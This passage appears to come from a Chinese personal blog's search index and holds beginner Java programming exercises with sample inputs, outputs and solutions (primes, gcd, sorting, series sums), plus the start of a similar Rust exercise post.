args) { 5 try (Scanner scanner = new Scanner(System.in)) { 6 int n = scanner.nextInt(); 7 System.out.println(n % 2 == 0 ? \u0026#34;Even\u0026#34; : \u0026#34;Odd\u0026#34;); 8 for (int i = n; i \u0026lt; n + 17; i += 2) { 9 System.out.print(String.format(\u0026#34;%d \u0026#34;, i)); 10 } 11 } 12 } 13} 从键盘接收一个十进制整数,将十进制整数转换成二进制的形式输出。 1example: 2 3input: 411 5 6output: 71011 8 9input: 10100 11 12output: 131100100 1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 try (Scanner scanner = new Scanner(System.in)) { 6 int n = scanner.nextInt(); 7 String binary = Integer.toBinaryString(n); // 转化为二进制字符串 8 System.out.println(binary); 9 } 10 } 11} 编写一个程序,实现如下功能:从键盘读入一个数据n,输出一个n行n列的列表:对第i行和第j列位置,如果i和j的最大公约数是1(即i和j互素),则输出“*”号,其他位置输出“#”号。每打印n个符号后,换行输出新的符号。 1example: 2 3Input: 44 5output: 6**** 7*#*# 8**#* 9*#*# 10 11input: 127 13output: 14******* 15*#*#*#* 16**#**#* 17*#*#*#* 18****#** 19*###*#* 20******# 1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 StringBuilder row = new StringBuilder(\u0026#34;\u0026#34;); // 创建 StringBuilder 构建字符串 6 try (Scanner scanner = new Scanner(System.in)) { 7 int n = scanner.nextInt(); 8 for (int i = 1; i \u0026lt;= n; i++) { 9 for (int j = 1; j \u0026lt;= n; j++) { 10 if (gcd(i, j) == 1) { 11 row.append(\u0026#34;*\u0026#34;); // StringBuilder 中追加字符串 12 } else { 13 row.append(\u0026#39;#\u0026#39;); // StringBuilder 亦可以追加字符类型 14 } 15 } 16 System.out.println(row.toString()); // 转换为字符串输出 17 row.setLength(0); // 重置 StringBuilder 18 } 19 } 20 } 21 22 public static int gcd(int a, int b) { 23 return b == 0 ? a : gcd(b, a % b); // 三元表达式 24 } 25} 使用泰勒级数展开是计算正弦函数,展开式的最后一项精度不超过1e-10。其中正弦函数的展开式为: $$ sinx=x-\\frac{x^3}{3!}+\\frac{x^5}{5!}-\\cdots $$\n从键盘输入一个x(x为浮点数),计算x的正弦函数,结果保留小数位数2位(此题不要纠结,数位精度不对也可认为正确)。\n1example: 2 3input: 40.5 5 6output: 70.48 8 9input: 101 11 12output: 130.84 1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 try (Scanner scanner = new Scanner(System.in)) { 6 double x = scanner.nextDouble(); 7 int n = 1; 8 double sinx = 0.0; 9 int fac_n; 10 11 while (true) { 12 fac_n = 1; 13 for (int i = 1; i \u0026lt;= n; i++) { 14 fac_n *= i; 15 } 16 if (Math.pow(x, n) / fac_n \u0026gt; 1e-10) { 17 if ((n - 1) % 4 == 0) { 18 sinx += Math.pow(x, n) / fac_n; 19 } else { 20 sinx -= Math.pow(x, n) / fac_n; 21 } 22 } else { 23 break; 24 } 25 n += 2; 26 } 27 28 System.out.println(String.format(\u0026#34;%.2f\u0026#34;, sinx)); 29 } 30 } 31} 从键盘读入一个数n,输出小于或等于n的所有素数的个数。 1example 2 3input: 4100 5 6output: 725 8 9input: 10200 11 12output: 1346 1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 try (Scanner scanner = new Scanner(System.in)) { 6 int number = scanner.nextInt(); 7 int result = 0; 8 for (int i = 2; i \u0026lt;= number; i++) { 9 if (isPrime(i)) { 10 result++; 11 } 12 } 13 System.out.println(result); 14 } 15 } 16 17 public static boolean isPrime(int n) { 18 if (n \u0026lt;= 1) { 19 return false; 20 } else { 21 for (int i = 2; i \u0026lt;= Math.sqrt(n); i++) { 22 if (n % i == 0) { 23 return false; 24 } 25 } 26 return true; 27 } 28 } 29} 从键盘输入一个正整数n,输出小于n的所有与其互素的数的个数。(即求 $\\phi(n)$ 的值)。例如:与10互素的数为:9,7,3,1一共4个。 1example: 2 3input: 410 5 6output: 74 8 9input: 109 11 12output: 136 1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 try (Scanner scanner = new Scanner(System.in)) { 6 int n = scanner.nextInt(); 7 int result = 0; 8 for (int i = 1; i \u0026lt; n; i++) { 9 if (gcd(n, i) == 1) { 10 result++; 11 } 12 } 13 System.out.println(result); 14 } 15 } 16 17 public static int gcd(int a, int b) { 18 return b == 0 ? a : gcd(b, a % b); 19 } 20} 从键盘接受一个正整数n,生成一个由1~n的数组。输出一个数组,数组中的每个元素为与前面数组中小于自身的互素的数的个数。 1example: 2 3input: 410 5 6output: 7[0, 1, 2, 2, 4, 2, 6, 4, 6, 4] 8 9input: 1020 11 12output: 13[0, 1, 2, 2, 4, 2, 6, 4, 6, 4, 10, 4, 12, 6, 8, 8, 16, 6, 18, 8] 1import java.util.Scanner; 2import java.util.ArrayList; // 导入 ArrayList 类 3 4public class Main { 5 public static void main(String[] args) { 6 try (Scanner scanner = new Scanner(System.in)) { 7 int n = scanner.nextInt(); 8 ArrayList\u0026lt;Integer\u0026gt; result = new ArrayList\u0026lt;\u0026gt;(); // 利用 ArrayList 存储结果 9 for (int i = 1; i \u0026lt;= n; i++) { 10 result.add(coprimeCount(i)); // 向 ArrayList 追加结果 11 } 12 System.out.println(result); 13 } 14 } 15 16 public static int coprimeCount(int n) { 17 int count = 0; 18 for (int i = 1; i \u0026lt; n; i++) { 19 if (gcd(n, i) == 1) { 20 count++; 21 } 22 } 23 return count; 24 } 25 26 public static int gcd(int a, int b) { 27 return b == 0 ? a : gcd(b, a % b); 28 } 29} 从键盘输入一个n,打印一个等腰三角形。 1input: 24 3output: 4 * 5 *** 6 ***** 7******* 8 9input: 107 11output: 12 * 13 *** 14 ***** 15 ******* 16 ********* 17 *********** 18************* 1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 try (Scanner scanner = new Scanner(System.in)) { 6 int n = scanner.nextInt(); 7 String asterisk = \u0026#34;*\u0026#34;, space = \u0026#34; \u0026#34;; 8 9 for (int i = 1; i \u0026lt;= n; i++) { 10 System.out.println( 11 String.format( 12 \u0026#34;%s%s\u0026#34;, 13 space.repeat(n - i), // 重复字符串 14 asterisk.repeat(2 * i - 1))); 15 } 16 } 17 } 18} 从键盘输入一个n,打印如下图形。 1input: 24 3 4output: 5 * 6 *** 7 ***** 8******* 9 ***** 10 *** 11 * 12 13input: 143 15 16output: 17 * 18 *** 19***** 20 *** 21 * 从键盘接收一个n,用来确定数组包含的元素个数。并循环读入n个数字字符,将其转换成int型数据,存储在数组中。编写一个程序,让数组中,相邻的两位进行比较,并将比较大的数字交换到后面的位置,将数组中相邻的两位依次比较,确保经过一轮比较后,数组中最大的数字放在索引为n-1的位置上。输出此时最大值在索引最大位置上的数组。 1example: 2 3input: 45 53 67 76 84 92 10 11output: 12[3, 6, 4, 2, 7] 1import java.util.Scanner; 2import java.util.Arrays; 3 4public class Main { 5 public static void main(String[] args) { 6 try (Scanner scanner = new Scanner(System.in)) { 7 int n = scanner.nextInt(); 8 int[] numbers = new int[n]; 9 for (int i = 0; i \u0026lt; n; i++) { 10 numbers[i] = scanner.nextInt(); 11 } 12 bubbleSortRound(numbers); 13 System.out.println(Arrays.toString(numbers)); // 数组不能直接打印,需要用 Arrays.toString() 转化为字符串 14 } 15 } 16 17 public static void bubbleSortRound(int[] numbers) { 18 int n = numbers.length; // length 为数组的属性而非方法 19 for (int i = 0; i \u0026lt; n - 1; i++) { 20 if (numbers[i] \u0026gt; numbers[i + 1]) { 21 int temp = numbers[i]; 22 numbers[i] = numbers[i + 1]; 23 numbers[i + 1] = temp; 24 } 25 } 26 } 27} 从键盘接收一个n,代表当前数组中包含的元素个数。依次从键盘读入n个数据,并转换成int型,保存在数组中。按照上题的方法整理数组中的元素,将数组中元素整理为从小到大有序的数组输出。(注:不允许使用内置的排序函数,或方法) 1input: 25 33 47 56 64 72 8 9output: 10 11[2, 3, 4, 6, 7] 1import java.util.Scanner; 2import java.util.Arrays; 3 4public class Main { 5 public static void main(String[] args) { 6 try (Scanner scanner = new Scanner(System.in)) { 7 int n = scanner.nextInt(); 8 int[] numbers = new int[n]; 9 for (int i = 0; i \u0026lt; n; i++) { 10 numbers[i] = scanner.nextInt(); 11 } 12 bubbleSort(numbers); 13 System.out.println(Arrays.toString(numbers)); // 数组不能直接打印,需要用 Arrays.toString() 转化为字符串 14 } 15 } 16 17 public static void bubbleSort(int[] numbers) { 18 int n = numbers.length; // length 为数组的属性而非方法 19 for (int i = 0; i \u0026lt; n - 1; i++) { 20 for (int j = 0; j \u0026lt; n - i - 1; j++) { 21 if (numbers[j] \u0026gt; numbers[j + 1]) { 22 int temp = numbers[j]; 23 numbers[j] = numbers[j + 1]; 24 numbers[j + 1] = temp; 25 } 26 } 27 } 28 } 29} 从键盘接收一个m,代表二维数组的行数,再从键盘接收一个n,代表二维数组的列数。利用循环读入二维数组所有的数值,并转换为int类型,存在数组中。输出该二维数组。 1example: 2 3input: 42 53 61 74 87 92 105 118 12 13output: 14[[1, 4, 7], [2, 5, 8]] 1import java.util.Scanner; 2import java.util.Arrays; 3 4public class Main { 5 public static void main(String[] args) { 6 try (Scanner scanner = new Scanner(System.in)) { 7 int row, col; 8 row = scanner.nextInt(); 9 col = scanner.nextInt(); 10 11 int[][] matrix = new int[row][col]; 12 for (int i = 0; i \u0026lt; row; i++) { 13 for (int j = 0; j \u0026lt; col; j++) { 14 matrix[i][j] = scanner.nextInt(); 15 } 16 } 17 System.out.println(Arrays.deepToString(matrix)); // 使用 Arrays.deepToString() 打印矩阵和二维数组 18 } 19 } 20} 从键盘输入一个n,代表一维数组包含的元素数,从键盘读入一个由数字字符和空格组成的字符串,并将它们转换成int型存入到一维数组中。如果得到的数字不足n位,剩余的几个数组元素由0补足,如果超过n位截取前n位组成的数组,并输出该数组。 1example: 2 3input: 45 52 3 1 7 10 15 6 7output: 8[2, 3, 1, 7, 10] 9 10input: 114 1210 2 13 14output: 15[10, 2, 0, 0] 1import java.util.Scanner; 2import java.util.Arrays; 3 4public class Main { 5 public static void main(String[] args) { 6 Scanner scanner = new Scanner(System.in); 7 int n = scanner.nextInt(); 8 scanner.nextLine(); 9 String numsString = scanner.nextLine(); 10 scanner.close(); 11 12 String[] numsStringArray = numsString.split(\u0026#34;\\\\s+\u0026#34;); 13 int[] nums = new int[n]; 14 for (int i = 0; i \u0026lt; n; i++) { 15 if (i \u0026lt; numsStringArray.length) { 16 nums[i] = Integer.parseInt(numsStringArray[i]); 17 } else { 18 nums[i] = 0; 19 } 20 } 21 22 System.out.println(Arrays.toString(nums)); 23 } 24} 从键盘接收一个由数字字符和空格组成的字符串,将其转换为整型数据存储在一维数组中。判断该一维数组中是否存在重复元素,如果有重复元素,输出False,否则输出True。 1example: 2 3input: 43 2 1 7 5 6 8 0 5 6output: 7True 8 9input: 102 2 1 3 4 3 8 6 11 12output: 13False 1import java.util.Scanner; 2import java.util.Arrays; 3 4public class Main { 5 public static void main(String[] args) { 6 Scanner scanner = new Scanner(System.in); 7 String numsString = scanner.nextLine(); 8 scanner.close(); 9 10 String[] numsStringsArray = numsString.split(\u0026#34;\\\\s+\u0026#34;); 11 int len = numsStringsArray.length; 12 int[] nums = new int[len]; 13 14 for (int i = 0; i \u0026lt; len; i++) { 15 nums[i] = Integer.parseInt(numsStringsArray[i]); 16 } 17 18 int[] uniqueNums = Arrays 19 .stream(nums) // 转化为流 20 .distinct() // 去重 21 .toArray(); // 转化为数组 22 23 System.out.println(uniqueNums.length == len); 24 } 25} 从键盘输入一个n,创建一个n * n的二维数组,在二维数组中,第0行的值为1,第1行的值为2,以此类推,第n-1的值为n。输出此二维数组。 1example: 2 3input: 45 5 6output: 7[[1, 1, 1, 1, 1], [2, 2, 2, 2, 2], [3, 3, 3, 3, 3], [4, 4, 4, 4, 4], [5, 5, 5, 5, 5]] 1import java.util.Scanner; 2import java.util.Arrays; 3 4public class Main { 5 public static void main(String[] args) { 6 try (Scanner scanner = new Scanner(System.in)) { 7 int n = scanner.nextInt(); 8 int[][] matrix = new int[n][n]; 9 for (int i = 0; i \u0026lt; n; i++) { 10 for (int j = 0; j \u0026lt; n; j++) { 11 matrix[i][j] = i + 1; 12 } 13 } 14 System.out.println(Arrays.deepToString(matrix)); 15 } 16 } 17} 输出上一题得到的二维数组的转置数组。 1example: 2 3input: 45 5 6output: 7[[1, 2, 3, 4, 5], [1, 2, 3, 4, 5], [1, 2, 3, 4, 5], [1, 2, 3, 4, 5], [1, 2, 3, 4, 5]] 8 9input: 104 11 12output: 13[[1, 2, 3, 4], [1, 2, 3, 4], [1, 2, 3, 4], [1, 2, 3, 4]] 1import java.util.Scanner; 2import java.util.Arrays; 3 4public class Main { 5 public static void main(String[] args) { 6 try (Scanner scanner = new Scanner(System.in)) { 7 int n = scanner.nextInt(); 8 int[][] matrix = new int[n][n]; 9 for (int i = 0; i \u0026lt; n; i++) { 10 for (int j = 0; j \u0026lt; n; j++) { 11 matrix[i][j] = j + 1; 12 } 13 } 14 System.out.println(Arrays.deepToString(matrix)); 15 } 16 } 17} ","link":"https://jackgdn.github.io/post/java%E7%BB%83%E4%B9%A02/","section":"post","tags":["Java"],"title":"Java 练习(二)"},{"body":" 小明在银行的存款有1万元,已知,银行的年利率是1.9%,请问,不取出钱的情况下,存五年后,小明一共可以取出多少钱? 注意:输出的钱数单位为元。\n1public class Main { 2 public static void main(String[] args) { 3 double principal = 10000; 4 double savingPeriod = 5; 5 for (int i = 1; i \u0026lt;= savingPeriod; i++){ 6 principal *= 1.019; 7 } 8 System.out.println(principal); 9 } 10} 如上题,小明有一笔存款,存款的钱数由键盘来录入,存款的利率是1.9%,输入存款年限,根据年限和本金,给出最终取出的钱数。 以下为给出的测试样例。\n1example: 2 3input: 410000 55 6 7output: 810986.792440810985 1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 Scanner scanner = new Scanner(System.in); 6 double principal = scanner.nextDouble(); 7 int savingPeriod = scanner.nextInt(); 8 scanner.close(); 9 for (int i = 1; i \u0026lt;= savingPeriod; i++) { 10 principal *= 1.019; 11 } 12 System.out.println(principal); 13 } 14} 从键盘输入你的姓名,打印输出一个欢迎界面。 1example: 2 3input: 4MLX 5 6output: 7******************************************** 8* Hi, MLX Welcome to enter Python\u0026#39;s World! * 9******************************************** 1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 Scanner scanner = new Scanner(System.in); 6 String name = scanner.nextLine(); 7 scanner.close(); 8 9 System.out.println(\u0026#34;*\u0026#34;.repeat(44)); // 重复字符串 10 System.out.println(String.format(\u0026#34;* Hi, %s Welcome to enter Python\u0026#39;s World! *\u0026#34;, name)); // 格式化字符串 11 System.out.println(\u0026#34;*\u0026#34;.repeat(44)); 12 } 13} 已知有公式:$b=a\\times(1+\\frac{r}{100})^n$ ,输入a、r和n的值,计算b的值。其中n是整数。 1example: 2 3input: 43 55 68 7 8output: 94.432366331367189 10 11input: 121.5 13-8.5 145 15 16output: 170.9620479741078126 1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 Scanner scanner = new Scanner(System.in); 6 double a = scanner.nextDouble(); 7 double r = scanner.nextDouble(); 8 double n = scanner.nextDouble(); 9 scanner.close(); 10 11 double b = a * Math.pow((1 + r / 100), n); 12 System.out.println(b); 13 } 14} 直角坐标系中有两个点 (x1, y1) 和 (x2, y2),从键盘输入两个点的坐标,计算两个点之间的距离。 1example: 2 3(1.0, 3.5) (-2, -5) 4 5input: 61.0 73.5 8-2 9-5 10 11output: 12distance = 9.013878188659973 1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 Scanner scanner = new Scanner(System.in); 6 double x1 = scanner.nextDouble(); 7 double y1 = scanner.nextDouble(); 8 double x2 = scanner.nextDouble(); 9 double y2 = scanner.nextDouble(); 10 scanner.close(); 11 12 double distance = Math.sqrt(Math.pow(x2 - x1, 2) + Math.pow(y2 - y1, 2)); 13 System.out.println(distance); 14 } 15} 从键盘输入一个3位数,依次输出3位数的个位,十位和百位的值。 1example: 2 3input: 4123 5 6output: 73 82 91 1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 Scanner scanner = new Scanner(System.in); 6 String str = scanner.nextLine(); 7 scanner.close(); 8 9 for (int i = 2; i \u0026gt;= 0; i--) { 10 System.out.println(str.charAt(i)); // 取字符串中的某个字符 11 } 12 } 13} 已知斐波那契数列的值依次为:1,1,2,5,8,13,21,34…… 有斐波那契数列的公式为:\n$$ F(n) = \\frac{{\\left( \\frac{{1 + \\sqrt{5}}}{2} \\right)^n - \\left( \\frac{{1 - \\sqrt{5}}}{2} \\right)^n}}{{\\sqrt{5}}} $$\n试编写程序,输入一个n,可以得到斐波那契数列第n项的值。\n1ex1: 2 3input: 45 5 6output: 75 8 9ex2: 10 11input: 1210 13 14output: 1555 1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 Scanner scanner = new Scanner(System.in); 6 int n = scanner.nextInt(); 7 scanner.close(); 8 9 System.out.println(fibonacci(n)); 10 } 11 12 public static int fibonacci(int n) { 13 double sqrt5 = Math.sqrt(5); 14 double phi = (1 + sqrt5) / 2; 15 double psi = (1 - sqrt5) / 2; 16 return (int) ((Math.pow(phi, n) - Math.pow(psi, n)) / sqrt5); 17 } 18} 输入一个四位数,将四位数的每一位相加后输入结果。例如: 1input:3478 2 3output:22 4 5input:1234 6 7output:10 注:即 3+4+7+8=22;1+2+3+4=10\n1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 Scanner scanner = new Scanner(System.in); 6 String number = scanner.nextLine(); 7 scanner.close(); 8 9 int result = 0; 10 for (char c: number.toCharArray()) { // 增强 for 循环 11 int digit = c - \u0026#39;0\u0026#39;; // 将字符的数字转化为整型 12 result += digit; 13 } 14 15 System.out.println(result); 16 } 17} 输入3个不相等的数字,并将三个数字整理成从大到小的顺序输出。 1input: 26 37 42 5 6output: 77 6 2 1import java.util.Scanner; 2import java.util.Arrays; 3 4public class Main { 5 public static void main(String[] args) { 6 int[] numbers = new int[3]; 7 8 Scanner scanner = new Scanner(System.in); 9 for (int i = 0; i \u0026lt; 3; i++) { 10 numbers[i] = scanner.nextInt(); 11 } 12 scanner.close(); 13 14 String sortedNumbers[] = Arrays 15 .stream(numbers) // IntStream 16 .boxed() // Stream\u0026lt;Integer\u0026gt; 17 .sorted((a, b) -\u0026gt; b - a) // Stream\u0026lt;Integer\u0026gt;, (a, b) \u0026gt; b - a 为比较器 (Comparator) 18 .map(String::valueOf) // Stream\u0026lt;String\u0026gt; 19 .toArray(String[]::new); // String[] 20 21 System.out.println(String.join(\u0026#34; \u0026#34;, sortedNumbers)); 22 } 23} 从键盘按照字母,数字,字母,数字的顺序输入4个数据,将字母和字母连接生成新的字符串,数字和数字做加法得到一个新数字,将字符串和数字组合成新的字符输出。 例如: 1input: 2a 35 4b 57 6 7output: 8ab12 1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 Scanner scanner = new Scanner(System.in); 6 String s1 = scanner.nextLine(); 7 int num1 = scanner.nextInt(); 8 scanner.nextLine(); // Scanner.nextInt() 只读取数组而不读取换行符,因此需要手动读取下一行 9 String s2 = scanner.nextLine(); 10 int num2 = scanner.nextInt(); 11 scanner.close(); 12 13 System.out.println(String.format(\u0026#34;%s%s%d\u0026#34;, s1, s2, num1 + num2)); 14 } 15} 求一个四位数的digital root。Digital root是一个1位整数,它的计算方法如下: The beginning number is 3498\nThe sum of its digits is 3+4+9+8=24\nThe number is now 24\nThe sum of its digits is 2+4=6\nDigital root即为6.\n比如输入为:\n3498\n则输出为:\n6\n1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 String number; // 避免作用域错误 6 try (Scanner scanner = new Scanner(System.in)) { // try-with-resources 自动关闭资源 7 number = scanner.nextLine(); 8 } 9 10 int numberInt = 0; 11 while (number.length() \u0026gt; 1) { 12 numberInt = 0; 13 for (char c : number.toCharArray()) { 14 numberInt += c - \u0026#39;0\u0026#39;; 15 number = String.valueOf(numberInt); // 转换为字符串 16 } 17 } 18 System.out.println(number); 19 } 20} 李姓家族有一笔¥100000的遗产分配。已知家族遗产管理者需要留存遗产的1.5%。遗产继承人由三部分组成:1.旁支亲属。每人可以继承剩余遗产份额的为1。2.子女。每人可继承剩余遗产的份额为100。3.配偶,可以继承剩余遗产份额为200.配偶为1人。 从键盘依次属于亲属的人数;子女数。\n遗产份额根据能继承遗产的总数来计算。如:有一位亲属,一位子女,一位配偶,则遗产划分的份额为1+100+200=301,即可继承的遗产划分为301份。亲属1份,子女100份,配偶200份。\n依次输出遗产管理者获得钱数;每名旁支亲属可以获取的钱数;每名子女可以获得的钱数;配偶可以获得的钱数。(钱数只能为整数,并且不允许四舍五入;配偶的钱为其他人取完之后剩余的所有钱数)\n1example: 2 3input: 43 52 6 7output: 81500 244 24400 48968 1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 int rel_num, kid_num; 6 try (Scanner scanner = new Scanner(System.in)) { 7 rel_num = scanner.nextInt(); 8 kid_num = scanner.nextInt(); 9 } 10 11 int mng = 15800; 12 int rest = 100000 - 1500; 13 int weight = rel_num * 1 + kid_num * 100 + 200; 14 double peow = (rest * 1.0) / (weight * 1.0); 15 16 int rel = (int) Math.floor(peow); 17 int kid = rel * 100; 18 int spo = rest - rel - kid; 19 20 System.out.println(String.format(\u0026#34;%d %d %d %d\u0026#34;, mng, rel, kid, spo)); 21 } 22} 13 .鸡尾酒瓶由三个圆锥体部分组成。高度为 h,顶部和底部的半径为 r1 和 r2 的圆锥体的容积为 V 鸡尾酒瓶及容积计算公式如下所示。\n$$ V = \\pi\\frac{(r_1^2 + r_1r_2 + r_2^2)h}{3} $$\n试编写程序,输入鸡尾酒瓶的高度h和顶部底部的半径,计算鸡尾酒瓶的容积。\n1example: 2 3input: 410 52 64 7 8output: 9293.21531433504737 1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 double h, r1, r2; 6 try (Scanner scanner = new Scanner(System.in)) { 7 h = scanner.nextDouble(); 8 r1 = scanner.nextDouble(); 9 r2 = scanner.nextDouble(); 10 } 11 12 double V = (Math.PI / 3.0) * (Math.pow(r1, 2.0) + r1 * r2 + Math.pow(r2, 2.0)) * h; 13 System.out.println(V); 14 } 15} 编写一个程序,以军用格式如(0900、1730)读取两个时间,并打印两个时间之间相差的小时和分钟数。 1example: 2 3input: 40900 51730 6 7output: 88 hours 30 minutes 1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 String start_time, end_time; 6 try (Scanner scanner = new Scanner(System.in)) { 7 start_time = scanner.nextLine(); 8 end_time = scanner.nextLine(); 9 } 10 11 int start_minute = Integer.parseInt(start_time.substring(0, 2)) * 60 // String.substring() 字符串切片;Integer.parseInt() 将字符串转为整型 12 + Integer.parseInt(start_time.substring(2)); 13 int end_minute = Integer.parseInt(end_time.substring(0, 2)) * 60 14 + Integer.parseInt(end_time.substring(2)); 15 16 int duration_minute = end_minute - start_minute; 17 18 int result_minute = duration_minute % 60; 19 int result_hour = duration_minute / 60; 20 21 System.out.println(String.format(\u0026#34;%d hours %d minutes\u0026#34;, result_hour, result_minute)); 22 } 23} 从键盘输入一个数字n,计算小于n的所有奇数的和。 1input: 2100 3 4output: 52500 1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 int n; 6 try (Scanner scanner = new Scanner(System.in)) { 7 n = scanner.nextInt(); 8 } 9 10 int result = 0; 11 12 for (int i = 1; i \u0026lt; n; i++) { 13 if (isOdd(i)) { 14 result += i; 15 } 16 } 17 18 System.out.println(result); 19 } 20 21 public static boolean isOdd(int n) { 22 return n % 2 != 0; 23 } 24} 已知有公式 $S=\\frac{1}{1^2}+\\frac{1}{2^2}+\\cdots+\\frac{1}{n^2}+\\cdots$,编写程序计算 S,要求加的最后一项值大于 $10^{-10}$,输出 S 的值。 1public class Main { 2 public static void main(String[] args) { 3 double result = 0.0; 4 double n = 1.0; 5 while (1.0 / Math.pow(n, 2.0) \u0026gt; 1e-10) { // 1e-10 科学计数法中间不能带空格 6 result += 1.0 / Math.pow(n, 2.0); 7 n += 1.0; 8 } 9 System.out.println(result); 10 } 11} 输入一个数字,判断一下该数字是不是水仙花数(三位数)。 水仙花数:例如:$153=1^3+5^3+3^3$ ,即水仙花数。\n1input: 2153 3 4output: 5Yes 6 7input: 8256 9 10output: 11No 12 13input: 141234 15 16output: 17Out scope 1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 int number; 6 try (Scanner scanner = new Scanner(System.in)) { 7 number = scanner.nextInt(); 8 } 9 10 if (number \u0026gt;= 1000 || number \u0026lt; 100) { 11 System.out.println(\u0026#34;Out of scope!\u0026#34;); 12 return; 13 } 14 15 int digitA = number / 100; 16 int digitB = (number % 100) / 10; 17 int digitC = number % 10; 18 19 String result = Math.pow(digitA, 3) + Math.pow(digitB, 3) + Math.pow(digitC, 3) == number ? \u0026#34;Yes!\u0026#34; : \u0026#34;No!\u0026#34;; // 三元表达式 20 System.out.println(result); 21 } 22} 输入任意两个整数,输出他们的最大公约数和最小公倍数。 1input: 26 39 4 5output: 63 18 1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 int a, b; 6 try (Scanner scanner = new Scanner(System.in)) { 7 a = scanner.nextInt(); 8 b = scanner.nextInt(); 9 } 10 11 System.out.println(String.format(\u0026#34;%d %d\u0026#34;, gcd(a, b), lcm(a, b))); 12 } 13 14 public static int gcd(int a, int b) { 15 if (b == 0) { 16 return a; 17 } else { 18 return gcd(b, a % b); 19 } 20 } 21 22 public static int lcm(int a, int b) { 23 return a * b / gcd(a, b); 24 } 25} 输入一个大于等于2的整数,判断其是素数还是不是素数,是素数输出True,否则输出False。 1input: 28 3 4output: 5False 6 7input: 819 9 10output: 11True 1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 try (Scanner scanner = new Scanner(System.in)) { 6 int n = scanner.nextInt(); 7 System.out.println(isPrime(n)); 8 } 9 } 10 11 public static boolean isPrime(int n) { 12 if (n \u0026lt;= 1) { 13 return false; 14 } else { 15 for (int i = 2; i \u0026lt;= Math.sqrt(n); i++) { 16 if (n % i == 0) { 17 return false; 18 } 19 } 20 return true; 21 } 22 } 23} ","link":"https://jackgdn.github.io/post/java%E7%BB%83%E4%B9%A01/","section":"post","tags":["Java"],"title":"Java 练习(一)"},{"body":"","link":"https://jackgdn.github.io/tags/rust/","section":"tags","tags":null,"title":"Rust"},{"body":"","link":"https://jackgdn.github.io/categories/rust/","section":"categories","tags":null,"title":"Rust"},{"body":"","link":"https://jackgdn.github.io/series/rust-%E7%BB%83%E4%B9%A0/","section":"series","tags":null,"title":"Rust 练习"},{"body":" 已知高斯随机数的公式为:$w=sin(2\\pi v)(-21lnu)^{\\frac{1}{2}}$,从键盘输入一个(0,1)范围内的u,再输入一个(0,1)范围内的v。计算并输出w的值。 example:\ninput:\n0.2\n0.3\noutput:\n5.529082710300016\n1use std::f64::consts::PI; 2use std::io::stdin; 3 4fn main() { 5 let mut input = String::new(); 6 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 7 let u: f64 = input.trim().parse().expect(\u0026#34;Failed to parse input\u0026#34;); 8 input.clear(); 9 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 10 let v: f64 = input.trim().parse().expect(\u0026#34;Failed to parse input\u0026#34;); 11 12 let w = (2.0 * PI * v).sin() * (-21.0 * u.ln()).powf(0.5); 13 println!(\u0026#34;{:2}\u0026#34;, w); 14} 从键盘依次读入两个整数字符,判断一下,他们是否互素。如果互素打印True,不互素打印False。 example:\ninput:\n9\n6\noutput:\nFalse\n1use std::io::stdin; 2 3fn gcd(a: i32, b: i32) -\u0026gt; i32 { 4 if b == 0 { 5 return a; 6 } 7 return gcd(b, a % b); 8} 9 10fn main() { 11 let mut input = String::new(); 12 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 13 let a = input.trim().parse::\u0026lt;i32\u0026gt;().unwrap(); 14 input.clear(); 15 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 16 let b = input.trim().parse::\u0026lt;i32\u0026gt;().unwrap(); 17 18 if gcd(a, b) == 1 { 19 println!(\u0026#34;True\u0026#34;); 20 } else { 21 println!(\u0026#34;False\u0026#34;); 22 } 23} 从键盘接收一个整型数据n,并输出一个n*n的图形,其中第i行和第j列如果满足,i可以整除j,或j可以整除i时,输出一个“*”,否则输出一个“ ”(一个空格)。输入输出如图所示: 1example: 2 3input: 43 5output: 6*** 7** 8* * 1use std::io::stdin; 2 3fn main() { 4 let mut input = String::new(); 5 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read line\u0026#34;); 6 let num = input.trim().parse::\u0026lt;i32\u0026gt;().expect(\u0026#34;Failed to parse input\u0026#34;); 7 8 for i in 1..=num { 9 let mut row = String::new(); 10 for j in 1..=num { 11 if i % j == 0 || j % i == 0 { 12 row.push(\u0026#39;*\u0026#39;); 13 } else { 14 row.push(\u0026#39; \u0026#39;); 15 } 16 } 17 println!(\u0026#34;{row}\u0026#34;); 18 row.clear(); 19 } 20} 从键盘输入一个n,代表一维数组包含的元素个数。从键盘输入两行由空格分隔的数字字符,代表两个不同的一维数组。如果长度不足n位,用0补足。长度超过n位,只保留n个元素在一维数组中。计算两个向量的欧几里德距离。(即两个向量对应元素差的平方根) example:\ninput:\n5\n1 2 4 3\n2 5 6 9 10 11\noutput:\n12.24744871391589\n1use std::io::stdin; 2 3fn input_vec(num: i32) -\u0026gt; Vec\u0026lt;i32\u0026gt; { 4 let 